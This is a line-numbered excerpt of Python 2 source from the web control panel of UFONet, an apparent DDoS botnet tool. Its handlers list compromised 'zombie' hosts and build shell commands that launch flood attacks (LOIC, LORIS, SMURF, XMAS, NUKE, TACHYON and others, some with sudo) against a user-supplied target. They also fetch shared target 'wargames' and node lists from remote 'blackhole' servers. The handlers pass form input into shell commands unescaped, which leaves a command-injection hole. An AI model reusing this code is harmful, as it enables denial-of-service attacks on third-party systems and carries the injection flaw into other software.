  2526. grid_token = pGet["grid_token"]
  2527. else:
  2528. grid_token = self.grid_token
  2529. if "grid_contact" in pGet.keys():
  2530. grid_contact = pGet["grid_contact"]
  2531. else:
  2532. grid_contact = self.grid_contact
  2533. if "grid_nick" in pGet.keys():
  2534. grid_nick = pGet["grid_nick"]
  2535. else:
  2536. grid_nick = self.grid_nick
  2537. # set new values on gridcfg json file
  2538. with open(self.mothership_gridcfg_file, "w") as f:
  2539. json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
  2540. def save_cfg(self,pGet):
  2541. # set values for requests configuration from html form to json file
  2542. if "rproxy" in pGet.keys():
  2543. frm_rproxy = pGet["rproxy"]
  2544. else:
  2545. frm_rproxy = self.rproxy
  2546. if "ruseragent" in pGet.keys():
  2547. frm_ruseragent = pGet["ruseragent"]
  2548. else:
  2549. frm_ruseragent = self.ruseragent
  2550. if "rreferer" in pGet.keys():
  2551. frm_rreferer = pGet["rreferer"]
  2552. else:
  2553. frm_rreferer = self.rreferer
  2554. if "rhost" in pGet.keys():
  2555. frm_rhost = pGet["rhost"]
  2556. else:
  2557. frm_rhost = self.rhost
  2558. if "rxforw" in pGet.keys():
  2559. frm_rxforw = pGet["rxforw"]
  2560. else:
  2561. if "update" in pGet.keys():
  2562. frm_rxforw = ""
  2563. else:
  2564. frm_rxforw = self.rxforw
  2565. if "rxclient" in pGet.keys():
  2566. frm_rxclient = pGet["rxclient"]
  2567. else:
  2568. if "update" in pGet.keys():
  2569. frm_rxclient = ""
  2570. else:
  2571. frm_rxclient = self.rxclient
  2572. if "rtimeout" in pGet.keys():
  2573. frm_rtimeout = pGet["rtimeout"]
  2574. else:
  2575. frm_rtimeout = self.rtimeout
  2576. if "rretries" in pGet.keys():
  2577. frm_rretries = pGet["rretries"]
  2578. else:
  2579. frm_rretries = self.rretries
  2580. if "rdelay" in pGet.keys():
  2581. frm_rdelay = pGet["rdelay"]
  2582. else:
  2583. frm_rdelay = self.rdelay
  2584. if "threads" in pGet.keys():
  2585. frm_threads = pGet["threads"]
  2586. else:
  2587. frm_threads = self.threads
  2588. if "rssl" in pGet.keys():
  2589. frm_rssl = pGet["rssl"]
  2590. else:
  2591. if "update" in pGet.keys():
  2592. frm_rssl = ""
  2593. else:
  2594. frm_rssl = self.rssl
  2595. # set new values on webcfg json file
  2596. with open(self.mothership_webcfg_file, "w") as f:
  2597. json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
  2598. def get(self, request):
  2599. # set request options of the user
  2600. cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
  2601. if self.rxforw == "on":
  2602. cmd_options = cmd_options + " --xforw"
  2603. if self.rxclient == "on":
  2604. cmd_options = cmd_options + " --xclient"
  2605. if self.rssl == "on":
  2606. cmd_options = cmd_options + " --force-ssl"
  2607. cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
  2608. runcmd = ""
  2609. res = re.findall("^GET ([^\s]+)", request)
  2610. if res is None or len(res)==0:
  2611. return
  2612. pGet = {}
  2613. page = res[0]
  2614. paramStart = page.find("?")
  2615. if paramStart != -1:
  2616. page = page[:paramStart]
  2617. pGet = self.buildGetParams(request)
  2618. if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
  2619. if os.path.exists("core/"+page[1:]):
  2620. f=open("core/"+page[1:])
  2621. self.pages[page]=f.read()
  2622. elif page == "/js/ajax.js":
  2623. from ajaxmap import AjaxMap
  2624. self.pages[page] = AjaxMap().ajax(pGet)
  2625. if page == "/cmd_check_tool":
  2626. self.pages["/cmd_check_tool"] = "<pre>Waiting for updates results...</pre>"
  2627. runcmd = "(python -i ufonet --update |tee /tmp/out) &"
  2628. if page == "/cmd_check_tool_update":
  2629. if not os.path.exists('/tmp/out'):
  2630. open('/tmp/out', 'w').close()
  2631. with open('/tmp/out', 'r') as f:
  2632. self.pages["/cmd_check_tool_update"] = "<pre>"+f.read()+"<pre>"
  2633. if page == "/cmd_list_army":
  2634. self.pages["/cmd_list_army"] = "<pre><h1>Total Botnet = "+self.total_botnet+"</h1><table cellpadding='10' cellspacing='10' border='1'><tr><td>UCAVs:</td><td>"+self.num_ucavs+"</td><td>Aliens:</td><td>"+self.num_aliens+"</td></tr><tr><td>Droids:</td><td>"+self.num_droids+"</td><td>Zombies:</td><td>"+self.num_zombies+"</td></tr><tr><td>XML-RPCs:</td><td>"+self.num_rpcs+" </td></tr></table> <hr><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2635. if page == "/cmd_list_zombies":
  2636. self.pages["/cmd_list_zombies"] = "<pre><h1>Total Zombies = "+self.num_zombies+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Zombies:</u> <b>"+self.num_zombies+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.zombies_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_zombies)+"</td><td></h3>"+'\n'.join(self.zombies)+"</td></tr></table><br /><br/>"
  2637. if page == "/cmd_list_aliens":
  2638. self.pages["/cmd_list_aliens"] = "<pre><h1>Total Aliens = "+self.num_aliens+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Aliens:</u> <b>"+self.num_aliens+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.aliens_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_aliens)+"</td><td></h3>"+'\n'.join(self.aliens)+"</td></tr></table><br /><br/>"
  2639. if page == "/cmd_list_droids":
  2640. self.pages["/cmd_list_droids"] = "<pre><h1>Total Droids = "+self.num_droids+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>Droids:</u> <b>"+self.num_droids+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.droids_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_droids)+"</td><td></h3>"+'\n'.join(self.droids)+"</td></tr></table><br /><br/>"
  2641. if page == "/cmd_list_ucavs":
  2642. self.pages["/cmd_list_ucavs"] = "<pre><h1>Total UCAVs = "+self.num_ucavs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>UCAVs:</u> <b>"+self.num_ucavs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.ucavs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_ucavs)+"</td><td></h3>"+'\n'.join(self.ucavs)+"</td></tr></table><br /><br/>"
  2643. if page == "/cmd_list_rpcs":
  2644. self.pages["/cmd_list_rpcs"] = "<pre><h1>Total XML-RPCs = "+self.num_rpcs+"</h1><br /><table border='1' cellpadding='10' cellspacing='10'><tr><td><h3><u>XML-RPCs:</u> <b>"+self.num_rpcs+"</b></td><td>Last update: <u>"+time.ctime(os.path.getctime(self.rpcs_file))+"</u></td></tr><tr><td>"+'\n'.join(self.list_rpcs)+"</td><td></h3>"+'\n'.join(self.rpcs)+"</td></tr></table><br /><br/>"
  2645. if page == "/cmd_view_army":
  2646. if pGet=={}:
  2647. self.pages["/cmd_view_army"] = self.html_army_map()
  2648. if page == "/cmd_view_attack":
  2649. if 'target' in pGet.keys() != None:
  2650. self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
  2651. if page == "/cmd_test_army":
  2652. self.pages["/cmd_test_army"] = "<pre>Waiting for testing results...</pre>"
  2653. runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  2654. if page == "/cmd_test_all":
  2655. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  2656. runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  2657. if page == "/cmd_test_offline":
  2658. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  2659. runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  2660. if page == "/cmd_attack_me":
  2661. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  2662. runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  2663. if page == "/cmd_attack_me_update":
  2664. if not os.path.exists('/tmp/out'):
  2665. open('/tmp/out', 'w').close()
  2666. with open('/tmp/out', 'r') as f:
  2667. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  2668. if page == "/cmd_download_community":
  2669. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  2670. runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  2671. if page == "/cmd_download_community_update":
  2672. if not os.path.exists('/tmp/out'):
  2673. open('/tmp/out', 'w').close()
  2674. with open('/tmp/out', 'r') as f:
  2675. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  2676. if page == "/cmd_upload_community":
  2677. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  2678. runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  2679. if page == "/cmd_upload_community_update":
  2680. if not os.path.exists('/tmp/out'):
  2681. open('/tmp/out', 'w').close()
  2682. with open('/tmp/out', 'r') as f:
  2683. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  2684. if page == "/cmd_test_army_update":
  2685. if not os.path.exists('/tmp/out'):
  2686. open('/tmp/out', 'w').close()
  2687. with open('/tmp/out', 'r') as f:
  2688. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  2689. if page == "/cmd_test_all_update":
  2690. if not os.path.exists('/tmp/out'):
  2691. open('/tmp/out', 'w').close()
  2692. with open('/tmp/out', 'r') as f:
  2693. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  2694. if page == "/cmd_test_offline_update":
  2695. if not os.path.exists('/tmp/out'):
  2696. open('/tmp/out', 'w').close()
  2697. with open('/tmp/out', 'r') as f:
  2698. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  2699. if page == "/cmd_test_rpcs":
  2700. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  2701. runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  2702. if page == "/cmd_test_rpcs_update":
  2703. if not os.path.exists('/tmp/out'):
  2704. open('/tmp/out', 'w').close()
  2705. with open('/tmp/out', 'r') as f:
  2706. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  2707. if page == "/cmd_attack":
  2708. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  2709. cmd = ""
  2710. flag_ufosyn = None
  2711. flag_spray = None
  2712. flag_smurf = None
  2713. flag_xmas = None
  2714. flag_nuke = None
  2715. flag_tachyon = None
  2716. nonroot_cmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2717. root_cmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  2718. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  2719. if pGet["dbstress"]:
  2720. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  2721. if pGet["loic"]:
  2722. cmd += "--loic '" +str(pGet["loic"])+ "' "
  2723. if pGet["loris"]:
  2724. cmd += "--loris '" +str(pGet["loris"])+ "' "
  2725. if pGet["ufosyn"]:
  2726. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  2727. flag_ufosyn = True
  2728. if pGet["spray"]:
  2729. cmd += "--spray '" +str(pGet["spray"])+ "' "
  2730. flag_spray = True
  2731. if pGet["smurf"]:
  2732. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  2733. flag_smurf = True
  2734. if pGet["xmas"]:
  2735. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  2736. flag_xmas = True
  2737. if pGet["nuke"]:
  2738. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  2739. flag_nuke = True
  2740. if pGet["tachyon"]:
  2741. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  2742. flag_tachyon = True
  2743. if not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn:
  2744. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  2745. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon== True:
  2746. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON)
  2747. runcmd = cmd + end_cmd
  2748. if page == "/cmd_attack_update":
  2749. if not os.path.exists('/tmp/out'):
  2750. open('/tmp/out', 'w').close()
  2751. with open('/tmp/out', 'r') as f:
  2752. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  2753. if page == "/cmd_inspect":
  2754. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  2755. target = pGet["target"]
  2756. target=urllib.unquote(target).decode('utf8')
  2757. runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2758. if page == "/cmd_inspect_update":
  2759. if not os.path.exists('/tmp/out'):
  2760. open('/tmp/out', 'w').close()
  2761. with open('/tmp/out', 'r') as f:
  2762. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  2763. if page == "/cmd_abduction":
  2764. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  2765. target = pGet["target"]
  2766. target=urllib.unquote(target).decode('utf8')
  2767. runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  2768. if page == "/cmd_abduction_update":
  2769. if not os.path.exists('/tmp/out'):
  2770. open('/tmp/out', 'w').close()
  2771. with open('/tmp/out', 'r') as f:
  2772. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  2773. if page == "/cmd_search":
  2774. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  2775. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  2776. if pGet["all_engines"] == "on": # search using all search engines
  2777. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  2778. else: # search using a search engine
  2779. runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2780. else: # search using a pattern
  2781. if pGet["autosearch"] == "on": # search using auto-search mod
  2782. runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  2783. else:
  2784. if pGet["all_engines"] == "on": # search using all search engines
  2785. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  2786. else: # search using a search engine
  2787. runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  2788. if page == "/cmd_search_update":
  2789. if not os.path.exists('/tmp/out'):
  2790. open('/tmp/out', 'w').close()
  2791. with open('/tmp/out', 'r') as f:
  2792. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  2793. if page == "/cmd_refresh_blackholes":
  2794. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2795. blackhole_ip = pGet["blackholes_source"]
  2796. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2797. try:
  2798. blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read()
  2799. f = open(self.blackholes, "w") # write updates to nodes.dat
  2800. f.write(str(blackholes))
  2801. f.close()
  2802. self.blackholes_text = blackholes
  2803. except:
  2804. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2805. end_mark = "\n[Info] [AI] End of blackholes list (nodes.dat). -> [Refreshing!]"
  2806. f = open("/tmp/out", "w")
  2807. f.write(str(blackholes))
  2808. f.write(end_mark)
  2809. f.close()
  2810. if page == "/cmd_refresh_blackholes_update":
  2811. if not os.path.exists('/tmp/out'):
  2812. open('/tmp/out', 'w').close()
  2813. with open('/tmp/out', 'r') as f:
  2814. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  2815. if page == "/cmd_refresh_news":
  2816. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2817. blackhole_ip = pGet["news_source"]
  2818. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2819. try:
  2820. news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read()
  2821. f = open(self.news, "w") # write updates to news.txt
  2822. f.write(str(news))
  2823. f.close()
  2824. self.news_text = news
  2825. except:
  2826. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  2827. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  2828. f = open("/tmp/out", "w")
  2829. f.write(str(news))
  2830. f.write(end_mark)
  2831. f.close()
  2832. if page == "/cmd_refresh_news_update":
  2833. if not os.path.exists('/tmp/out'):
  2834. open('/tmp/out', 'w').close()
  2835. with open('/tmp/out', 'r') as f:
  2836. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  2837. if page == "/cmd_sync_wargames":
  2838. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2839. blackhole_ip = pGet["wargames_source"]
  2840. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2841. try:
  2842. wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
  2843. f = open(self.wargames_file, "w") # write updates to wargames.txt
  2844. f.write(str(wargames))
  2845. f.close()
  2846. self.wargames_text = wargames
  2847. except:
  2848. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2849. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2850. f = open("/tmp/out", "w")
  2851. f.write(str(wargames))
  2852. f.write(end_mark)
  2853. f.close()
  2854. if page == "/cmd_sync_wargames_update":
  2855. if not os.path.exists('/tmp/out'):
  2856. open('/tmp/out', 'w').close()
  2857. with open('/tmp/out', 'r') as f:
  2858. stream = f.read()
  2859. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2860. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  2861. if page == "/cmd_refresh_missions":
  2862. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2863. blackhole_ip = pGet["missions_source"]
  2864. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2865. try:
  2866. missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read()
  2867. f = open(self.missions, "w") # write updates to missions.txt
  2868. f.write(str(missions))
  2869. f.close()
  2870. self.missions_text = missions
  2871. except:
  2872. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2873. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  2874. f = open("/tmp/out", "w")
  2875. f.write(str(missions))
  2876. f.write(end_mark)
  2877. f.close()
  2878. if page == "/cmd_refresh_missions_update":
  2879. if not os.path.exists('/tmp/out'):
  2880. open('/tmp/out', 'w').close()
  2881. with open('/tmp/out', 'r') as f:
  2882. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  2883. if page == "/cmd_refresh_ranking":
  2884. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2885. ranking_ip = pGet["ranking_source"]
  2886. ranking_ip = urllib.unquote(ranking_ip).decode('utf8')
  2887. try:
  2888. ranking = urllib2.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read()
  2889. f = open(self.grid_file, "w") # write updates to grid.txt
  2890. f.write(str(ranking))
  2891. f.close()
  2892. self.ranking_text = ranking
  2893. except:
  2894. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2895. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  2896. f = open("/tmp/out", "w")
  2897. f.write(str(ranking))
  2898. f.write(end_mark)
  2899. f.close()
  2900. if page == "/cmd_refresh_ranking_update":
  2901. if not os.path.exists('/tmp/out'):
  2902. open('/tmp/out', 'w').close()
  2903. with open('/tmp/out', 'r') as f:
  2904. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  2905. if page == "/cmd_sync_grid":
  2906. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  2907. blackhole_ip = pGet["grid_source"]
  2908. blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
  2909. try:
  2910. grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
  2911. f = open(self.grid_file, "w") # write updates to grid.txt
  2912. f.write(str(grid))
  2913. f.close()
  2914. self.grid_text = grid
  2915. except:
  2916. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  2917. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  2918. f = open("/tmp/out", "w")
  2919. f.write(str(grid))
  2920. f.write(end_mark)
  2921. f.close()
  2922. if page == "/cmd_sync_grid_update":
  2923. if not os.path.exists('/tmp/out'):
  2924. open('/tmp/out', 'w').close()
  2925. with open('/tmp/out', 'r') as f:
  2926. stream = f.read()
  2927. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  2928. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  2929. if page == "/cmd_job_remove":
  2930. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  2931. try:
  2932. job_id = pGet["id"]
  2933. except:
  2934. job_id = ""
  2935. if job_id is not "":
  2936. self.list_wargames.reverse()
  2937. try:
  2938. job_task = self.list_wargames[(int(job_id)-1)]
  2939. f = open(self.wargames_file,"r")
  2940. ls = f.readlines()
  2941. f.close()
  2942. f = open(self.wargames_file,"w")
  2943. for l in ls:
  2944. if str(l) != str(job_task):
  2945. f.write(l)
  2946. f.close()
  2947. except:
  2948. pass
  2949. if page == "/cmd_job_remove_update":
  2950. if not os.path.exists('/tmp/out'):
  2951. open('/tmp/out', 'w').close()
  2952. with open('/tmp/out', 'r') as f:
  2953. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  2954. if page == "/cmd_job_remove_all":
  2955. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  2956. try:
  2957. key_params = pGet["key"]
  2958. sep = ","
  2959. key = key_params.rsplit(sep, 1)[0]
  2960. except:
  2961. key = ""
  2962. if key is not "":
  2963. try:
  2964. self.list_wargames.reverse()
  2965. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  2966. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  2967. f = open(self.wargames_file,"r")
  2968. ls = f.readlines()
  2969. f.close()
  2970. f = open(self.wargames_file,"w")
  2971. sep = "#-#"
  2972. for l in ls:
  2973. job_estimated = l.rsplit(sep, 1)[1]
  2974. self.decrypt(key, job_estimated)
  2975. if self.decryptedtext:
  2976. job_estimated = self.decryptedtext
  2977. else:
  2978. job_estimated = now
  2979. self.decryptedtext = ""
  2980. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  2981. if (now >= job_estimated) == False: # -ONGOING-
  2982. f.write(l)
  2983. f.close()
  2984. except:
  2985. pass
  2986. if page == "/cmd_job_remove_all_update":
  2987. if not os.path.exists('/tmp/out'):
  2988. open('/tmp/out', 'w').close()
  2989. with open('/tmp/out', 'r') as f:
  2990. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  2991. if page == "/cmd_edit_supply":
  2992. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  2993. try:
  2994. supply_botnet = pGet["botnet"]
  2995. supply_loic = pGet["loic"]
  2996. supply_loris = pGet["loris"]
  2997. supply_ufosyn = pGet["ufosyn"]
  2998. supply_spray = pGet["spray"]
  2999. supply_smurf = pGet["smurf"]
  3000. supply_xmas = pGet["xmas"]
  3001. supply_nuke = pGet["nuke"]
  3002. supply_tachyon = pGet["tachyon"]
  3003. except: # default global supply army
  3004. supply_botnet = 1
  3005. supply_loic = 0
  3006. supply_loris = 0
  3007. supply_ufosyn = 0
  3008. supply_spray = 0
  3009. supply_smurf = 0
  3010. supply_xmas = 0
  3011. supply_nuke = 0
  3012. supply_tachyon = 0
  3013. with open(self.mothership_supplycfg_file, "w") as f:
  3014. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon}, f, indent=4)
  3015. if page == "/cmd_job_add":
  3016. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  3017. try:
  3018. job_params = pGet["id"]
  3019. sep = ","
  3020. job_id = job_params.rsplit(sep, 1)[0]
  3021. except:
  3022. job_id = ""
  3023. if job_id is not "":
  3024. self.list_wargames.reverse()
  3025. try:
  3026. job_task = self.list_wargames[(int(job_id)-1)]
  3027. f = open(self.wargames_file,"r")
  3028. ls = f.readlines()
  3029. f.close()
  3030. f = open(self.wargames_file,"w")
  3031. sep = "#-#"
  3032. for l in ls:
  3033. if str(l) != str(job_task):
  3034. f.write(l)
  3035. else:
  3036. job_t2 = job_task.rsplit(sep, 1)[0]
  3037. job_creation = job_t2.rsplit(sep, 1)[0]
  3038. job_target = job_t2.rsplit(sep, 1)[1]
  3039. job_estimated = job_task.rsplit(sep, 1)[1]
  3040. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  3041. f.write(l)
  3042. f.close()
  3043. except:
  3044. pass
  3045. if page == "/cmd_job_add_update":
  3046. if not os.path.exists('/tmp/out'):
  3047. open('/tmp/out', 'w').close()
  3048. with open('/tmp/out', 'r') as f:
  3049. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  3050. if page == "/cmd_job_add_all":
  3051. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  3052. try:
  3053. self.list_wargames.reverse()
  3054. f = open(self.wargames_file,"r")
  3055. ls = f.readlines()
  3056. f.close()
  3057. f = open(self.wargames_file,"w")
  3058. sep = "#-#"
  3059. for l in ls:
  3060. job_t2 = l.rsplit(sep, 1)[0]
  3061. job_creation = job_t2.rsplit(sep, 1)[0]
  3062. job_target = job_t2.rsplit(sep, 1)[1]
  3063. job_estimated = l.rsplit(sep, 1)[1]
  3064. if not "!!!" in job_target:
  3065. l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated)
  3066. else:
  3067. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3068. f.write(l)
  3069. f.close()
  3070. except:
  3071. pass
  3072. if page == "/cmd_job_add_all_update":
  3073. if not os.path.exists('/tmp/out'):
  3074. open('/tmp/out', 'w').close()
  3075. with open('/tmp/out', 'r') as f:
  3076. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  3077. if page == "/cmd_job_cancel":
  3078. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  3079. try:
  3080. job_params = pGet["id"]
  3081. sep = ","
